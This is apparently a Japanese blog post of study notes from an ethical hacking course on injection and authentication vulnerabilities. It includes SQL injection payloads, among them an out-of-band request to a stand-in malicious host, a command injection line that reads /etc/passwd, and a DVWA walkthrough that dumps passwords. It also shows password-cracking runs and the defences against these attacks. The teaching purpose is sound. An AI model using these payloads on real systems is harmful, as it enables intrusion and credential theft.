0
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

CiscoオンラインコースであるEthical Hacker(倫理的ハッカー)で学んだ内容をまとめてみた(第9回)

Last updated at Posted at 2025-12-10

導入

本記事は以下の続編として、インジェクションおよび認証ベースの脆弱性と演習を扱います。


この記事で得られること

  • インジェクションおよび認証基盤の脆弱性について、攻撃手法と技術的背景の理解
  • SQL/コマンド/LDAPインジェクションとセッション管理の不備による攻撃リスクの把握
  • DVWAやパスワードクラックツールを用いた演習を通じて、防御を意識した攻撃手法の把握

⚠️ 注意(必読)

本記事で扱う内容は、悪用した場合、重大な法的リスクを伴います。
許可された演習環境・検証環境でのみ実施してください。
実在組織・個人への攻撃は禁止されています。


本章について

6章ではアプリケーションベースの脆弱性の悪用を解説しますが、
内容が広範なため複数の記事に分割いたします。

以下が6章全体の構成です。

  • 6.1. Webアプリケーションベースの攻撃の概要とOWASPトップ10
  • 6.2. 独自のWebアプリラボの構築方法
  • 6.3. ビジネスロジックの欠陥の理解
  • 6.4. インジェクションベースの脆弱性理解👈本記事
  • 6.5. 認証ベースの脆弱性悪用👈本記事
  • 6.6. 認可ベースの脆弱性悪用
  • 6.7. クロスサイトスクリプティング(XSS)の脆弱性理解
  • 6.8. クロスサイトリクエストフォージェリ(CSRF/XSRF)とサーバーサイトリクエストフォージェリ攻撃の概要
  • 6.9. クリックジャッキングの概要
  • 6.10. セキュリティ設定ミスの悪用
  • 6.11. ファイルインクルード脆弱性の悪用
  • 6.12. 安全でないコードの悪用

インジェクションベースの脆弱性理解(6.4)

SQLインジェクションを重点的に扱い、コマンドインジェクション・LDAPインジェクションについても解説します。

SQLインジェクション

SQLインジェクションの基礎

SQLインジェクションは、Webアプリケーションの入力値がサニタイズされていない場合に、意図しないSQL文がそのままデータベースに渡されることで発生する。
レコードの閲覧・挿入・削除・変更が可能となり、重大な機密情報の漏洩や改ざんにつながる。

SQLコマンドの代表例

  • SELECT:データ取得
  • UPDATE:既存レコード更新
  • DELETE:削除
  • INSERT INTO:新規レコード登録
  • CREATE/ALTER DATABASE : データベース操作
  • CREATE/DROP TABLE:テーブル操作
  • CREATE/DROP INDEX:インデックス操作

SQLステートメントの代表例

  • DDL(データ定義言語)ステートメント
  • DML(データ操作言語)ステートメント
  • トランザクション制御文
  • システム制御文

SQL文の典型例

アプリケーション入力が以下のようにSQLへ連結される状況を想定する。

SELECT * FROM Customers WHERE ContactName LIKE '%Saavedra%';

この処理が「文字列連結」で構築されている場合、Webフォームの入力(%Saavedra%)により任意のSQL文を挿入される。

$query = "SELECT * FROM Customers WHERE ContactName LIKE '%" . $_GET['name'] . "%'";

SQLインジェクションの例

以下のような入力を与えると常に真となり、全レコードが返却される。

Smith' or 1='1

これはブールSQLインジェクション攻撃とも呼ばれる。

SQLインジェクションの分類(3カテゴリ)

■ インバンドSQLインジェクション

攻撃に利用した同一チャネルで結果を取得。最も一般的な攻撃でWeb画面に直接結果をダンプさせる。

■ 帯域外(OOB)SQLインジェクション

別チャネルに結果を送信する攻撃。
例:UTL_HTTP.request を悪用し外部サーバに結果を送信。

■ ブラインド(推論型)SQLインジェクション

画面上に結果を表示させない。真偽値の応答や遅延時間から情報を推測。

SQLインジェクションの主要な悪用手法(5種類)

  • 結合演算子(UNION):他テーブルの情報を結合
  • ブール値攻撃:アプリの挙動(True/False)から推論
  • エラーベース:DBエラーを強制し構造情報を取得
  • 帯域外:HTTP通信など別チャネルへ結果送信
  • 時間遅延SLEEP() などで処理遅延を利用

URLパラメータを用いた攻撃

典型例:

https://store.h4cker.org/buystuff.php?id=99 AND 1=2

実行されるSQL:

SELECT * FROM products WHERE product_id=99 AND 1=2

複文の注入により DB 改ざん:
※多くのMySQL+PHPの標準設定では、multi query を許可せず複文実行がオフのため実行拒否されます。

https://store.h4cker.org/buystuff.php?id=99; INSERT INTO users(username) VALUES ('omar')

データベース・フィンガープリンティング

DBにより構文やエラーが異なるため、攻撃者はエラーメッセージから種類を推測する。

主なDBのエラー例

  • MySQL
    MySQL Error 1064: You have an error in your SQL syntax
    エラーに関する詳細はこちら
  • Microsoft SQL
    Server Error in '/' Application
    エラーに関する詳細はこちら
  • Oracle
    ORA-00933: SQL command not properly ended
    エラーに関する詳細はこちら
  • PostgreSQL
    PSQLException: ERROR: unterminated quoted string at or near " ' " Position: 1

エラーが非表示の場合、文字列連結の形式で推測:

  • MySQL
    CONCAT('a','b')
  • Microsoft SQL
    'a' 'b'
  • Oracle
    'a' || 'b'
  • PostgreSQL
    'a' || 'b'

UNION攻撃

結合演算子(UNION)を悪用してほかのテーブル列の値を取得しようとする攻撃です。

SELECT zipcode FROM h4cker_customers WHERE zip=1 UNION ALL
SELECT creditcard FROM payments

ウェブフォームに対しては以下の文字列で実行します。

user' UNION SELECT 1,user_name,password,1 FROM user_system_data --

URLベースでも同様に実行可能です。

ブラインドSQLインジェクション

ブール値(True or Falseの2値)を利用しHTTPステータスコードや応答内容の有無で推測する。

Webフォームに対する実行例:

1' and 1=1#

また、時間遅延を活用した攻撃も存在します。
時間遅延による攻撃例:

https://store.h4cker.org/buyme.php?id=8 AND IF(version() like '8%', sleep(10), 'false'))--

帯域外SQLインジェクション例

store.h4cker.orgに対して攻撃し、悪意のあるh4cker.orgにクエリを返却させます。

https://store.h4cker.org/buyme.php?id=8||UTL_HTTP.request('malicious.h4cker.org')||(SELECT user FROM DUAL)--

攻撃者側で Netcat/Apache を起動し結果を受け取る必要があります。

スタッククエリによる攻撃例

セミコロンを利用して複数文を実行する攻撃です。

MySQLの例:
※MySQLにおいて複数文は無効なことが多いです。

1; DELETE FROM customers
SELECT * FROM customers WHERE customer_id=1; DELETE FROM customers

ストアドプロシージャSQLインジェクション

ストアドプロシージャとはデータベースに保存された一連の制御構文をまとめたプログラムのことです。
以下のような動的SQLをストアドプロシージャで生成している場合、インジェクションが成立する。

Microsoft SQLの例:

Set @sqlstring = ' Select 1 from users Where username = ' + @username + ' and passwd = ' + @passwd exec(@sqlstring)Go

SQLインジェクションへの対策(重要)

  • 静的クエリの使用
    • 例:
    select * from contacts;
    select * from users where user = "user";
    
  • パラメータ化クエリの使用(PreparedStatement)
    • 例:
    String query = "SELECT * FROM users WHERE name = ?";
    PreparedStatement statement =
    connection.prepareStatement(query);
    statement.setString(1, username);
    ResultSet results = statement.executeQuery();
    
  • ストアドプロシージャ(動的SQL生成は避ける)
  • 入力値バリデーション
  • エラーメッセージの抑制
  • 最小権限(Least Privilege)

OWASP推奨:

  • SQLインジェクション防止ガイドはこちら
  • ESAPI(Enterprise Security API)の防止策はこちら

コマンドインジェクション

OSコマンド実行を伴うアプリケーションで、入力値がそのままコマンドに渡されると発生する。

例(ping + /etc/passwd 読み出し)

127.0.0.1; cat /etc/passwd

コマンドインジェクションに関するOWASPの解説はこちら


LDAPインジェクション

LDAPクエリに不正入力が挿入されることで発生する。
成功するとディレクトリや内部アプリへの攻撃に必要な情報を入手できる。

主な攻撃パターン

  • 認証バイパス
    パスワード検証を回避しログイン成功させる。
    例:*)(uid=*)

  • 情報漏洩
    ディレクトリ内の組織データを列挙し、内部構造を把握する。


実践演習(DVWA:SQL Injection)

演習では DVWAを用いてSQLインジェクションが実行される様子を確認します。

:zero: 事前準備

DVWAのセキュリティレベルを低(Low)に設定しておきます。
デフォルトではImpossibleで設定されておりSQLインジェクションが実行できません。

image.png

:one: 基本的な攻撃の実行

' or 1=1 # と入力することで、IDフィールドを全件取得します。

image.png

常に真になるような式(1=1)とSQL文の後半のANDのオペランドを#によって無視することでIDフィールドを全件取得します。

:two: フィールド数の推測

1' ORDER BY 1#,1' ORDER BY 2#,1' ORDER BY 3#…と入力しエラーが返却される値を確認することでクエリにいくつのフィールドが含まれているかを確認します。

image.png
image.png
image.png

実行結果からORDER BY 3がエラーなので2つ含まれていることがわかります。

:three: バージョン確認

1' OR 1=1 UNION SELECT 1, VERSION()#と入力することでバージョン情報を取得します。

image.png

実行結果からMySQLのバージョンが5.5.58であることが判明します。

:four: DB名

1' OR 1=1 UNION SELECT 1, DATABASE()#と入力することでDB名を取得します。

image.png

実行結果からDB名がdvwaと判明します。

:five: テーブル列挙

1' OR 1=1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa'#と入力することでdvwaデータベース内のテーブル名を取得します。

image.png

実行結果からguestbookとusersという2つのテーブルの存在を確認できます。

:six: カラム列挙

1' OR 1=1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users'#と入力することでusersテーブルが持つカラム名を取得します。

image.png

実行結果からuserやpasswordといった資格情報が保管されていそうなカラムが確認できます。

:seven: ユーザ・パスワードの取得

1' OR 1=1 UNION SELECT user,password FROM users#と入力することでusersテーブル内のuser,password の列の値を取得します。

image.png

実行結果からハッシュ化されたパスワードとユーザーの組を確認できます。
こちらはMD5でハッシュ化されており、crackstation.net で解析可能です。

image.png


認証ベースの脆弱性(6.5)

セッションハイジャック

セッションID(Cookie)が漏洩・予測されることで、攻撃者が認証済みユーザーのセッションを乗っ取る攻撃。

セッション管理の基本

  • セッションIDは認証後に発行され、Cookie/URL/POSTで送受信
  • Cookie の種類
    • 非永続的(Session Cookie):ブラウザ終了で削除
    • 永続的(Persistent Cookie):有効期限まで保持
  • HTTPOnly により JS からの参照を防止
  • Secure 属性で HTTPS 通信限定に

セッションIDの要件

  • 推測困難、一意、暗号的乱数
  • 推奨:256bit エントロピー
  • URLパラメータ利用は避ける

主な攻撃手法

  • セッショントークン予測
    • 不十分な乱数生成の場合有効なIDが推測可能
  • スニッフィング
  • オンパス攻撃(中間者攻撃)
  • ブラウザ内攻撃
    • 悪意のある拡張機能やスクリプトの悪用
  • 入力検証漏れからの攻撃
    • 無効なセッションIDを許容することでXSS/SQLインジェクションへ派生

防御策

  • 強力なセッションIDの生成
  • HTTPS強制
  • Cookie に HTTPOnly / Secure
  • ログイン後のセッションID再発行
  • 不正セッションの即時破棄
  • セッションタイムアウトの短縮

リダイレクト攻撃

未検証のリダイレクトパラメータを利用し、攻撃者がユーザーを悪意のサイトへ誘導する攻撃。

攻撃例:
※URLが外部ドメインを許容し、URL形式のvalidationがない場合に利用可能です。

https://example.com/login?redirect=http://malicious.h4cker.org

デフォルト認証情報の脆弱性

デフォルトのパスワードを運用することが原因。
運用者は変更することが強く求められる。

デフォルトパスワードに関する情報はこちらこちら


Kerberosの脆弱性

以前こちらで解説してます。


実践演習:パスワードクラックツールの使用

SQLインジェクションや認証管理の欠陥によって資格情報ハッシュが漏洩したケース(漏洩に関与する脆弱性を悪用した演習についてはこちら)を想定し、Hashcat、John the Ripper、RainbowCrackの3つのツールを用いたパスワードクラックの実例を解説します。

:one: Hashcatによる辞書攻撃

演習用のハッシュリストを作成します。

┌──(kali㉿Kali)-[~]
└─$ echo -n 'Password' | md5sum | awk '{ print $1 }' > my_pw_hashes.txt
echo -n 'Password123' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt
echo -n 'Letmein!' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt
echo -n 'ilovedogs' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt
echo -n '1234abcd' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt

┌──(kali㉿Kali)-[~]
└─$ cat my_pw_hashes.txt 
dc647eb65e6711e155375218212b3964
42f749ade7f9e195bf475f37a44cafcb
e85a3b267e94f3721117fc7ac54fbeba
33830b8b7fd414b12c208c4de5055464
ef73781effc5774100f87fe2f437a435

もともと攻撃のための辞書を有してますが、/usr/share/wordlists/に存在するrockyou.txtという単語リストを活用してクラックを実行します。
※rockyou.txtは2009年に漏洩したパスワードリストでサイズは134MBです。

┌──(kali㉿Kali)-[~]
└─$ sudo hashcat -m 0 -a 0 -o cracked.txt my_pw_hashes.txt /usr/share/wordlists/rockyou.txt                        
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 7 3700X 8-Core Processor, 1436/2936 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 5 digests; 5 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: my_pw_hashes.txt
Time.Started.....: Mon Nov 17 08:26:09 2025 (5 secs)
Time.Estimated...: Mon Nov 17 08:26:14 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2312.1 kH/s (0.08ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 5/5 (100.00%) Digests (total), 5/5 (100.00%) Digests (new)
Progress.........: 10914304/14344385 (76.09%)
Rejected.........: 0/10914304 (0.00%)
Restore.Point....: 10913792/14344385 (76.08%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Lewon88 -> Lesliebug04
Hardware.Mon.#1..: Util: 37%

Started: Mon Nov 17 08:25:38 2025
Stopped: Mon Nov 17 08:26:15 2025

┌──(kali㉿Kali)-[~]
└─$ sudo cat cracked.txt 
dc647eb65e6711e155375218212b3964:Password
ef73781effc5774100f87fe2f437a435:1234abcd
33830b8b7fd414b12c208c4de5055464:ilovedogs
42f749ade7f9e195bf475f37a44cafcb:Password123
e85a3b267e94f3721117fc7ac54fbeba:Letmein!

オプションについて、-m 0はハッシュタイプがMD5を意味してます。-a 0はアタックモードが辞書による攻撃であることを示しています。
詳細はhashcatのマニュアルを確認してください。

cracked.txtにあるようにパスワードが推定されていることが確認できます。

:two: John the Ripperによる辞書及びブルートフォース攻撃

辞書攻撃

デフォルトの状態でハッシュファイルを解読します。
解読に利用するハッシュファイルは:one:で作成したものと同様のものを使用します。

──(kali㉿Kali)-[~]
└─$ john --format=raw-md5 my_pw_hashes.txt                                                                         
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Password         (?)     
Letmein!         (?)     
Proceeding with incremental:ASCII
1234abcd         (?)     
3g 0:00:03:28  3/3 0.01438g/s 46196Kp/s 46196Kc/s 92529KC/s myluvbr1!..myluchleo
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session aborted

デフォルトの状態だと辞書は小さいためPassword、Letmein!、1234abcdの3つしか解読できていないことがわかります。
:one:でも使用したワードリストを利用すると先ほど解読できなかった残りのパスワードも解読可能です。

┌──(kali㉿Kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 my_pw_hashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Remaining 2 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovedogs        (?)     
Password123      (?)     
2g 0:00:00:00 DONE (2025-11-17 08:36) 200.0g/s 3379Kp/s 3379Kc/s 3801KC/s coco21..redlips
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

ブルートフォース攻撃

実行した結果は以下の通りです。

┌──(kali㉿Kali)-[~]
└─$ john --incremental my_pw_hashes.txt
Warning: detected hash type "LM", but the string is also recognized as "dynamic=md5($p)"
Use the "--format=dynamic=md5($p)" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "HAVAL-128-4"
Use the "--format=HAVAL-128-4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "MD2"
Use the "--format=MD2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mdc2"
Use the "--format=mdc2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash"
Use the "--format=mscash" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash2"
Use the "--format=mscash2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD4"
Use the "--format=Raw-MD4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"
Use the "--format=Raw-MD5" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5u"
Use the "--format=Raw-MD5u" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "ripemd-128"
Use the "--format=ripemd-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Snefru-128"
Use the "--format=Snefru-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "ZipMonster"
Use the "--format=ZipMonster" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 10 password hashes with no different salts (LM [DES 256/256 AVX2])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:39 0.04% (ETA: 2025-11-18 14:21) 0g/s 69487Kp/s 69487Kc/s 706456KC/s B-TDEI..B-M-RB
Session aborted

┌──(kali㉿Kali)-[~]
└─$ john --show --format=raw-md5 my_pw_hashes.txt
?:Password
?:Password123
?:Letmein!
?:ilovedogs
?:1234abcd

5 password hashes cracked, 0 left

ブルートフォース攻撃は性質上パスワードの桁数が長くなると解読に膨大な時間を要します。

┌──(kali㉿Kali)-[~]
└─$ echo -n 'root' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt

┌──(kali㉿Kali)-[~]
└─$ echo -n 'fixthispassword5132' | md5sum | awk '{ print $1 }' >> my_pw_hashes.txt

┌──(kali㉿Kali)-[~]
└─$ john --incremental my_pw_hashes.txt
Warning: detected hash type "LM", but the string is also recognized as "dynamic=md5($p)"
Use the "--format=dynamic=md5($p)" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "HAVAL-128-4"
Use the "--format=HAVAL-128-4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "MD2"
Use the "--format=MD2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mdc2"
Use the "--format=mdc2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash"
Use the "--format=mscash" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash2"
Use the "--format=mscash2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD4"
Use the "--format=Raw-MD4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"
Use the "--format=Raw-MD5" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5u"
Use the "--format=Raw-MD5u" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "ripemd-128"
Use the "--format=ripemd-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Snefru-128"
Use the "--format=Snefru-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "ZipMonster"
Use the "--format=ZipMonster" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 14 password hashes with no different salts (LM [DES 256/256 AVX2])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:31 0.13% (ETA: 2025-11-18 16:44) 0g/s 65497Kp/s 65497Kc/s 916965KC/s LEQ5GIE..LEQLSCY
Session aborted

┌──(kali㉿Kali)-[~]
└─$ john --show --format=raw-md5 my_pw_hashes.txt
?:Password
?:Password123
?:Letmein!
?:ilovedogs
?:1234abcd

5 password hashes cracked, 2 left

rootとfixthispassword5132という2つのパスワードを追記して解読してますが、
後者についてはクラックされてないことがわかります。
👉十分な長さのパスワードの有効性が確認できます。

:three: RainbowCrackによるレインボーテーブル攻撃

攻撃のためのレインボーテーブルを作成します。
文字数を多く設定し、文字種も多様にするとテーブルサイズが大きくなりすぎるため
本演習では1~3文字の小文字のみで構成されるエントリ数1000のレインボーテーブルを用意します。

┌──(kali㉿Kali)-[~]
└─$ sudo rtgen md5 loweralpha 1 3 0 1000 1000 0                                                                    
rainbow table md5_loweralpha#1-3_0_1000x1000_0.rt parameters
hash algorithm:         md5
hash length:            16
charset name:           loweralpha
charset data:           abcdefghijklmnopqrstuvwxyz
charset data in hex:    61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 
charset length:         26
plaintext length range: 1 - 3
reduce offset:          0x00000000
plaintext total:        18278

sequential starting point begin from 0 (0x0000000000000000)
generating...
1000 of 1000 rainbow chains generated (0 m 0.1 s)

作成されたレインボーテーブルを確認し、効率よく攻撃するためにソートをかけます。

┌──(kali㉿Kali)-[~]
└─$ cd /usr/share/rainbowcrack/

┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
└─$ ls
alglib0.so   md5_loweralpha#1-3_0_1000x1000_0.rt  readme.txt  rtc2rt  rtmerge
charset.txt  rcrack                               rt2rtc      rtgen   rtsort

┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
└─$ sudo rtsort .                                                                                                   
./md5_loweralpha#1-3_0_1000x1000_0.rt:
1688354816 bytes memory available
loading data...
sorting data...
writing sorted data...

1~3文字で小文字のみの文字列を3つ用意しレインボーテーブル攻撃を実行します。

┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
└─$ echo -n 'fox' | md5sum | awk '{print $1}' > ~/my_rainbow_hashes.txt
echo -n 'boo' | md5sum | awk '{print $1}' >> ~/my_rainbow_hashes.txt
echo -n 'pop' | md5sum | awk '{print $1}' >> ~/my_rainbow_hashes.txt

┌──(kali㉿Kali)-[/usr/share/rainbowcrack]
└─$ rcrack . -l ~/my_rainbow_hashes.txt
1 rainbow tables found
memory available: 1344697139 bytes
memory for rainbow chain traverse: 16000 bytes per hash, 48000 bytes for 3 hashes
memory for rainbow table buffer: 2 x 16016 bytes
disk: ./md5_loweralpha#1-3_0_1000x1000_0.rt: 16000 bytes read
disk: finished reading all files
plaintext of ae3e83e2fab3a7d8683d8eefabd1e74d is boo
plaintext of b21afc54fb48d153c19101658f4a2a48 is pop
plaintext of 2b95d1f09b8b66c5c43622a4d9ec9a04 is fox

statistics
----------------------------------------------------------------
plaintext found:                             3 of 3
total time:                                  0.11 s
time of chain traverse:                      0.11 s
time of alarm check:                         0.00 s
time of disk read:                           0.00 s
hash & reduce calculation of chain traverse: 1497000
hash & reduce calculation of alarm check:    16980
number of alarm:                             2434
performance of chain traverse:               13.61 million/s
performance of alarm check:                  4.25 million/s

result
----------------------------------------------------------------
2b95d1f09b8b66c5c43622a4d9ec9a04  fox  hex:666f78
ae3e83e2fab3a7d8683d8eefabd1e74d  boo  hex:626f6f
b21afc54fb48d153c19101658f4a2a48  pop  hex:706f70

文字数が短いということもありますが、0.11秒ですべてのハッシュが解読されていることがわかります。


まとめ

インジェクションと認証周りの脆弱性は、設計不備と入力処理の欠落から容易に悪用される領域です。
適切なバリデーション、セッション管理、パラメータ化クエリの実装により大半の攻撃は回避可能です。
本記事の演習内容を踏まえ、開発・運用双方で再発防止策を確実に実装することが重要です。


📍 次回予告
次回は「6.6 認可ベースの脆弱性の悪用」以降の6章の内容を解説します。


次の記事はこちら

0
5
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
5

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?